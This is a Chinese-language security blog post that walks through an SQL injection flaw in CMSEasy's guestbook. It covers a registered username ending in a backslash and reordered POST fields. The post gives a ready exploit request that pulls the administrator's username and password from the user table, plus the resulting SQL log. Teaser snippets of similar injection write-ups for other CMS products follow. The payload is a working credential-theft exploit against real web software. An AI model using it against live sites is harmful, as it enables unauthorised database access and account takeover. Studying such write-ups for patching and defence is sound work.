Cmseasy SQL注射漏洞 2

2021-12-30 03:41:27 字數 4392 閱讀 2395

注入..無限制

if(preg_match('/(\'|")/', $_post['username']) || preg_match('/(\'|")/', $_get['username']) || preg_match('/(\'|")/', $_cookie['login_username']))

先看註冊

user_act.php 289 行:

function register_action()

if(config::get('verifycode'))

}if(front::post('username') != strip_tags(front::post('username'))

||front::post('username') != htmlspecialchars(front::post('username'))

) 省略 註冊並沒有太多的限制

我們註冊乙個 123123\的賬戶

再來看登陸的邏輯

user_act.php 176 行:

//這裡登陸成功後 設定cookie 用的是post設定的 因為有轉義的原因

cookie會變成 123123\\ 我們手動設定一下就行了

我們再來看留言功能

//檢測是否登陸狀態

function init()

$user='';

if(cookie::get('login_username') &&cookie::get('login_password'))

$this->view->user=$user; //放入資料

guestbook_act.php 28-94行

function index_action()

if(!front::post('title'))

if(!front::post('content'))

if(config::get('verifycode'))

}front::$post['checked']=0;

//關鍵就是這個了 如果user裡面有資料的話 就用user的

我們 存入是123123\ 在sql中 會把後面的轉義掉

if(empty($this->view->user)) else

front::$post['adddate']=date('y-m-d h:i:s');

front::$post['ip']=front::ip();

if (!get_magic_quotes_gpc())

front::$post['title']=strip_tags(front::$post['title']);

$data=front::$post;

$insert=$this->_table->rec_insert($data);//組合語句並查詢

if($insert<1)

else

if(config::get('email_guest_send_admin') && config::get('email'))

if(config::get('sms_on') && config::get('sms_guestbook_on'))

if(config::get('sms_on') && config::get('sms_guestbook_admin_on') && $mobile = config::get('site_mobile'))

front::flash(lang('留言成功!'));

$this->view->submit_success=true;

if(front::get('t') == 'wap')else}}

}insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,content,userid,username,adddate) values ('123','123123','123123','ss','123213','3','123123\','2014-06-25 15:35:43')

123123\ 為我們的使用者名稱 可是後面沒有可控的?

front::$post['userid']=$this->view->user['userid'];

front::$post['username']=$this->view->user['username'];

}front::$post['adddate']=date('y-m-d h:i:s');

front::$post['ip']=front::ip();

他是這樣寫的 var_dump一下變數

array(13)

由於$_post什麼的本身就是陣列 我們可以把順序換一下.

["userid"]=>

string(1) "3"

["username"]=>

string(10) "123123213\"

["adddate"]=>

string(19) "2014-06-25 15:39:36"

["ip"]=>

string(9) "125.0.1.5"

這個為什麼一直都在後面 因為他是最後賦值的 (重新建立了陣列)

既然是這樣我們之前先建立掉username這個變數。這樣就有個位置了 再看

guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=il&content=123213&verify=3vtq&submit=+%e6%8f%90%e4%ba%a4+

array(13)

insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) values ('123','123123','123123','ss','123123213\','123213','3','2014-06-25 15:42:59')

由於 留言只回顯 使用者名稱和內容 我們修改內容~

exp:

guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(select concat(username,0x7c,password) from cmseasy_user where userid=1),1,1)# &verify=3vtq&submit=+%e6%8f%90%e4%ba%a4+

sql日誌 :

insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) values ('123','123123','123123','ss','123123213\',',(select concat(username,0x7c,password) from cmseasy_user where userid=1),1,1)#','3','2014-06-25 15:49:18')

list_action()查詢留言資料 (模板中) 得登陸狀態才顯示

還有一點就是拼接資料的時候 他會查詢表裡的列 我們可以自己寫其他的列。。

過濾

Bird CMS 注射漏洞

from h4ckx7s blog 在旁註乙個大站的時候,在某個站的後台看見是什麼bird cms管理系統,記得1.1爆了什麼萬能密碼的漏洞!不知道最新版本的有什麼洞子沒有!大致的下了套原始碼看了看,管理和程式設計師都懶了!預設資料庫 datadata bird mdb 漏洞檔案 product.a...

Bo Blog 2 0 3 注射漏洞

by flyh4t 上次硬碟壞了丟了很多資料 今天某兄弟生日 掏空我的記憶回想起來乙個很老的漏洞 inc mod tag.php if defined validrequest die access denied.if job job default else job basename job it...

phpcmsV9某sql注射漏洞及修復

別人說最危險的地方最安全,我說最安全的地方最危險。相信你們也沒有想到這個最常見,常常會在各種教程出現的地方會存在sql注射。需 gpc off 首先,我們看登陸的地方。最常見了吧。預設安裝情況下,會使有 v9自帶的使用者中心。synloginstr 同步登陸js if pc base load co...